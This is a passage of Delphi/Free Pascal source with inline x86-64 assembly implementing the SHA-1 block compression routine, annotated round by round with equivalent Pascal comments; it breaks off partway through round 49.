POP EDI POP ESI end; {$ELSE} {$IFDEF CPUX64_WIN64} procedure TSHA1Alg.Compress;{$IFDEF FPC}assembler; nostackframe;{$ENDIF} asm {$IFNDEF FPC} .NOFRAME {$ENDIF} PUSH RSI PUSH RDI PUSH RBX PUSH RBP SUB RSP,8 LEA R8,[RCX].TSHA1Alg.FData.Block // W:= @FData.Block; MOV EAX,[R8 - 20] // A:= FData.Digest[0]; MOV EBX,[R8 - 16] // B:= FData.Digest[1]; MOV ECX,[R8 - 12] // C:= FData.Digest[2]; MOV EDX,[R8 - 8] // D:= FData.Digest[3]; MOV EBP,[R8 - 4] // E:= FData.Digest[4]; { 0} // W[0]:= Swap32(W[0]); // Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[0]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8] BSWAP ESI MOV [R8],ESI ADD EBP,ESI MOV ESI,ECX XOR ESI,EDX AND ESI,EBX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $5A827999] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI { 1} // W[1]:= Swap32(W[1]); // Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[1]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 4] BSWAP ESI MOV [R8 + 4],ESI ADD EDX,ESI MOV ESI,EBX XOR ESI,ECX AND ESI,EAX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $5A827999] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI { 2} // W[2]:= Swap32(W[2]); // Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[2]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 8] BSWAP ESI MOV [R8 + 8],ESI ADD ECX,ESI MOV ESI,EAX XOR ESI,EBX AND ESI,EBP XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $5A827999] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI { 3} // W[3]:= Swap32(W[3]); // Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[3]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 12] BSWAP ESI MOV [R8 + 12],ESI ADD EBX,ESI MOV ESI,EBP XOR ESI,EAX AND ESI,EDX XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $5A827999] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI { 4} // W[4]:= Swap32(W[4]); // Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[4]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 16] BSWAP ESI MOV [R8 + 16],ESI ADD EAX,ESI MOV ESI,EDX XOR ESI,EBP AND ESI,ECX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $5A827999] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI { 5} // W[5]:= Swap32(W[5]); // Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[5]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 20] BSWAP ESI MOV [R8 + 20],ESI ADD EBP,ESI MOV ESI,ECX XOR ESI,EDX AND ESI,EBX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $5A827999] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI { 6} // W[6]:= Swap32(W[6]); // Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[6]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 24] BSWAP ESI MOV [R8 + 24],ESI ADD EDX,ESI MOV ESI,EBX XOR ESI,ECX AND ESI,EAX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $5A827999] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI { 7} // W[7]:= Swap32(W[7]); // Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[7]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 28] BSWAP ESI MOV [R8 + 28],ESI ADD ECX,ESI MOV ESI,EAX XOR ESI,EBX AND ESI,EBP XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $5A827999] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI { 8} // W[8]:= Swap32(W[8]); // Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[8]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 32] BSWAP ESI MOV [R8 + 32],ESI ADD EBX,ESI MOV ESI,EBP XOR ESI,EAX AND ESI,EDX XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $5A827999] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI { 9} // W[9]:= Swap32(W[9]); // Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[9]); // C:= (C shl 30) or (C shr 2); { 9} MOV ESI,[R8 + 36] BSWAP ESI MOV [R8 + 36],ESI ADD EAX,ESI MOV ESI,EDX XOR ESI,EBP AND ESI,ECX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $5A827999] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {10} // W[10]:= Swap32(W[10]); // Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[10]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 40] BSWAP ESI MOV [R8 + 40],ESI ADD EBP,ESI MOV ESI,ECX XOR ESI,EDX AND ESI,EBX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $5A827999] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {11} // W[11]:= Swap32(W[11]); // Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[11]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 44] BSWAP ESI MOV [R8 + 44],ESI ADD EDX,ESI MOV ESI,EBX XOR ESI,ECX AND ESI,EAX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $5A827999] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {12} // W[12]:= Swap32(W[12]); // Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[12]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 48] BSWAP ESI MOV [R8 + 48],ESI ADD ECX,ESI MOV ESI,EAX XOR ESI,EBX AND ESI,EBP XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $5A827999] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {13} // W[13]:= Swap32(W[13]); // Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[13]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 52] BSWAP ESI MOV [R8 + 52],ESI ADD EBX,ESI MOV ESI,EBP XOR ESI,EAX AND ESI,EDX XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $5A827999] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {14} // W[14]:= Swap32(W[14]); // Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[14]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 56] BSWAP ESI MOV [R8 + 56],ESI ADD EAX,ESI MOV ESI,EDX XOR ESI,EBP AND ESI,ECX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $5A827999] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {15} // W[15]:= Swap32(W[15]); // Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[15]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 60] BSWAP ESI MOV [R8 + 60],ESI ADD EBP,ESI MOV ESI,ECX XOR ESI,EDX AND ESI,EBX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $5A827999] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {16} // Tmp:= W[13] xor W[8] xor W[2] xor W[0]; // W[0]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[0]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 52] XOR ESI,[R8 + 32] XOR ESI,[R8 + 8] XOR ESI,[R8] ROL ESI,1 MOV [R8],ESI ADD EDX,ESI MOV ESI,EBX XOR ESI,ECX AND ESI,EAX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $5A827999] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {17} // Tmp:= W[14] xor W[9] xor W[3] xor W[1]; // W[1]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[1]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 56] XOR ESI,[R8 + 36] XOR ESI,[R8 + 12] XOR ESI,[R8 + 4] ROL ESI,1 MOV [R8 + 4],ESI ADD ECX,ESI MOV ESI,EAX XOR ESI,EBX AND ESI,EBP XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $5A827999] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {18} // Tmp:= W[15] xor W[10] xor W[4] xor W[2]; // W[2]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[2]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 60] XOR ESI,[R8 + 40] XOR ESI,[R8 + 16] XOR ESI,[R8 + 8] ROL ESI,1 MOV [R8 + 8],ESI ADD EBX,ESI MOV ESI,EBP XOR ESI,EAX AND ESI,EDX XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $5A827999] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {19} // Tmp:= W[0] xor W[11] xor W[5] xor W[3]; // W[3]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[3]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8] XOR ESI,[R8 + 44] XOR ESI,[R8 + 20] XOR ESI,[R8 + 12] ROL ESI,1 MOV [R8 + 12],ESI ADD EAX,ESI MOV ESI,EDX XOR ESI,EBP AND ESI,ECX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $5A827999] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {20} // Tmp:= W[1] xor W[12] xor W[6] xor W[4]; // W[4]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[4]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 4] XOR ESI,[R8 + 48] XOR ESI,[R8 + 24] XOR ESI,[R8 + 16] ROL ESI,1 MOV [R8 + 16],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $6ED9EBA1] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {21} // Tmp:= W[2] xor W[13] xor W[7] xor W[5]; // W[5]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[5]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 8] XOR ESI,[R8 + 52] XOR ESI,[R8 + 28] XOR ESI,[R8 + 20] ROL ESI,1 MOV [R8 + 20],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $6ED9EBA1] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {22} // Tmp:= W[3] xor W[14] xor W[8] xor W[6]; // W[6]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[6]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 12] XOR ESI,[R8 + 56] XOR ESI,[R8 + 32] XOR ESI,[R8 + 24] ROL ESI,1 MOV [R8 + 24],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $6ED9EBA1] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {23} // Tmp:= W[4] xor W[15] xor W[9] xor W[7]; // W[7]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[7]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 16] XOR ESI,[R8 + 60] XOR ESI,[R8 + 36] XOR ESI,[R8 + 28] ROL ESI,1 MOV [R8 + 28],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $6ED9EBA1] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {24} // Tmp:= W[5] xor W[0] xor W[10] xor W[8]; // W[8]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[8]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 20] XOR ESI,[R8] XOR ESI,[R8 + 40] XOR ESI,[R8 + 32] ROL ESI,1 MOV [R8 + 32],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $6ED9EBA1] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {25} // Tmp:= W[6] xor W[1] xor W[11] xor W[9]; // W[9]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[9]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 24] XOR ESI,[R8 + 4] XOR ESI,[R8 + 44] XOR ESI,[R8 + 36] ROL ESI,1 MOV [R8 + 36],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $6ED9EBA1] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {26} // Tmp:= W[7] xor W[2] xor W[12] xor W[10]; // W[10]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[10]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 28] XOR ESI,[R8 + 8] XOR ESI,[R8 + 48] XOR ESI,[R8 + 40] ROL ESI,1 MOV [R8 + 40],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $6ED9EBA1] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {27} // Tmp:= W[8] xor W[3] xor W[13] xor W[11]; // W[11]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[11]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 32] XOR ESI,[R8 + 12] XOR ESI,[R8 + 52] XOR ESI,[R8 + 44] ROL ESI,1 MOV [R8 + 44],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $6ED9EBA1] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {28} // Tmp:= W[9] xor W[4] xor W[14] xor W[12]; // W[12]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[12]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 36] XOR ESI,[R8 + 16] XOR ESI,[R8 + 56] XOR ESI,[R8 + 48] ROL ESI,1 MOV [R8 + 48],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $6ED9EBA1] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {29} // Tmp:= W[10] xor W[5] xor W[15] xor W[13]; // W[13]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[13]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 40] XOR ESI,[R8 + 20] XOR ESI,[R8 + 60] XOR ESI,[R8 + 52] ROL ESI,1 MOV [R8 + 52],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $6ED9EBA1] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {30} // Tmp:= W[11] xor W[6] xor W[0] xor W[14]; // W[14]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[14]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 44] XOR ESI,[R8 + 24] XOR ESI,[R8] XOR ESI,[R8 + 56] ROL ESI,1 MOV [R8 + 56],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $6ED9EBA1] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {31} // Tmp:= W[12] xor W[7] xor W[1] xor W[15]; // W[15]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[15]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 48] XOR ESI,[R8 + 28] XOR ESI,[R8 + 4] XOR ESI,[R8 + 60] ROL ESI,1 MOV [R8 + 60],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $6ED9EBA1] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {32} // Tmp:= W[13] xor W[8] xor W[2] xor W[0]; // W[0]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[0]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 52] XOR ESI,[R8 + 32] XOR ESI,[R8 + 8] XOR ESI,[R8] ROL ESI,1 MOV [R8],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $6ED9EBA1] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {33} // Tmp:= W[14] xor W[9] xor W[3] xor W[1]; // W[1]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[1]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 56] XOR ESI,[R8 + 36] XOR ESI,[R8 + 12] XOR ESI,[R8 + 4] ROL ESI,1 MOV [R8 + 4],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $6ED9EBA1] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {34} // Tmp:= W[15] xor W[10] xor W[4] xor W[2]; // W[2]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[2]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 60] XOR ESI,[R8 + 40] XOR ESI,[R8 + 16] XOR ESI,[R8 + 8] ROL ESI,1 MOV [R8 + 8],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $6ED9EBA1] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {35} // Tmp:= W[0] xor W[11] xor W[5] xor W[3]; // W[3]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[3]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8] XOR ESI,[R8 + 44] XOR ESI,[R8 + 20] XOR ESI,[R8 + 12] ROL ESI,1 MOV [R8 + 12],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $6ED9EBA1] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {36} // Tmp:= W[1] xor W[12] xor W[6] xor W[4]; // W[4]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[4]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 4] XOR ESI,[R8 + 48] XOR ESI,[R8 + 24] XOR ESI,[R8 + 16] ROL ESI,1 MOV [R8 + 16],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $6ED9EBA1] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {37} // Tmp:= W[2] xor W[13] xor W[7] xor W[5]; // W[5]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[5]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 8] XOR ESI,[R8 + 52] XOR ESI,[R8 + 28] XOR ESI,[R8 + 20] ROL ESI,1 MOV [R8 + 20],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $6ED9EBA1] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {38} // Tmp:= W[3] xor W[14] xor W[8] xor W[6]; // W[6]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[6]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 12] XOR ESI,[R8 + 56] XOR ESI,[R8 + 32] XOR ESI,[R8 + 24] ROL ESI,1 MOV [R8 + 24],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $6ED9EBA1] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {39} // Tmp:= W[4] xor W[15] xor W[9] xor W[7]; // W[7]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[7]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 16] XOR ESI,[R8 + 60] XOR ESI,[R8 + 36] XOR ESI,[R8 + 28] ROL ESI,1 MOV [R8 + 28],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $6ED9EBA1] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {40} // Tmp:= W[5] xor W[0] xor W[10] xor W[8]; // W[8]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[8]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 20] XOR ESI,[R8] XOR ESI,[R8 + 40] XOR ESI,[R8 + 32] ROL ESI,1 MOV [R8 + 32],ESI ADD EBP,ESI MOV EDI,EBX MOV ESI,EBX AND EDI,ECX OR ESI,ECX AND ESI,EDX OR ESI,EDI ROL EBX,30 LEA EBP,[RBP + RSI + $8F1BBCDC] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {41} // Tmp:= W[6] xor W[1] xor W[11] xor W[9]; // W[9]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[9]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 24] XOR ESI,[R8 + 4] XOR ESI,[R8 + 44] XOR ESI,[R8 + 36] ROL ESI,1 MOV [R8 + 36],ESI ADD EDX,ESI MOV EDI,EAX MOV ESI,EAX AND EDI,EBX OR ESI,EBX AND ESI,ECX OR ESI,EDI ROL EAX,30 LEA EDX,[RDX + RSI + $8F1BBCDC] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {42} // Tmp:= W[7] xor W[2] xor W[12] xor W[10]; // W[10]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[10]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 28] XOR ESI,[R8 + 8] XOR ESI,[R8 + 48] XOR ESI,[R8 + 40] ROL ESI,1 MOV [R8 + 40],ESI ADD ECX,ESI MOV EDI,EBP MOV ESI,EBP AND EDI,EAX OR ESI,EAX AND ESI,EBX OR ESI,EDI ROL EBP,30 LEA ECX,[RCX + RSI + $8F1BBCDC] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {43} // Tmp:= W[8] xor W[3] xor W[13] xor W[11]; // W[11]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[11]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 32] XOR ESI,[R8 + 12] XOR ESI,[R8 + 52] XOR ESI,[R8 + 44] ROL ESI,1 MOV [R8 + 44],ESI ADD EBX,ESI MOV EDI,EDX MOV ESI,EDX AND EDI,EBP OR ESI,EBP AND ESI,EAX OR ESI,EDI ROL EDX,30 LEA EBX,[RBX + RSI + $8F1BBCDC] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {44} // Tmp:= W[9] xor W[4] xor W[14] xor W[12]; // W[12]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[12]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 36] XOR ESI,[R8 + 16] XOR ESI,[R8 + 56] XOR ESI,[R8 + 48] ROL ESI,1 MOV [R8 + 48],ESI ADD EAX,ESI MOV EDI,ECX MOV ESI,ECX AND EDI,EDX OR ESI,EDX AND ESI,EBP OR ESI,EDI ROL ECX,30 LEA EAX,[RAX + RSI + $8F1BBCDC] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {45} // Tmp:= W[10] xor W[5] xor W[15] xor W[13]; // W[13]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[13]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 40] XOR ESI,[R8 + 20] XOR ESI,[R8 + 60] XOR ESI,[R8 + 52] ROL ESI,1 MOV [R8 + 52],ESI ADD EBP,ESI MOV EDI,EBX MOV ESI,EBX AND EDI,ECX OR ESI,ECX AND ESI,EDX OR ESI,EDI ROL EBX,30 LEA EBP,[RBP + RSI + $8F1BBCDC] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {46} // Tmp:= W[11] xor W[6] xor W[0] xor W[14]; // W[14]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[14]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 44] XOR ESI,[R8 + 24] XOR ESI,[R8] XOR ESI,[R8 + 56] ROL ESI,1 MOV [R8 + 56],ESI ADD EDX,ESI MOV EDI,EAX MOV ESI,EAX AND EDI,EBX OR ESI,EBX AND ESI,ECX OR ESI,EDI ROL EAX,30 LEA EDX,[RDX + RSI + $8F1BBCDC] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {47} // Tmp:= W[12] xor W[7] xor W[1] xor W[15]; // W[15]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[15]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 48] XOR ESI,[R8 + 28] XOR ESI,[R8 + 4] XOR ESI,[R8 + 60] ROL ESI,1 MOV [R8 + 60],ESI ADD ECX,ESI MOV EDI,EBP MOV ESI,EBP AND EDI,EAX OR ESI,EAX AND ESI,EBX OR ESI,EDI ROL EBP,30 LEA ECX,[RCX + RSI + $8F1BBCDC] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {48} // Tmp:= W[13] xor W[8] xor W[2] xor W[0]; // W[0]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[0]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 52] XOR ESI,[R8 + 32] XOR ESI,[R8 + 8] XOR ESI,[R8] ROL ESI,1 MOV [R8],ESI ADD EBX,ESI MOV EDI,EDX MOV ESI,EDX AND EDI,EBP OR ESI,EBP AND ESI,EAX OR ESI,EDI ROL EDX,30 LEA EBX,[RBX + RSI + $8F1BBCDC] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {49} // Tmp:= W[14] xor W[9] xor W[3] xor W[1]; // W[1]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[1]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 56] XOR ESI,[R8 + 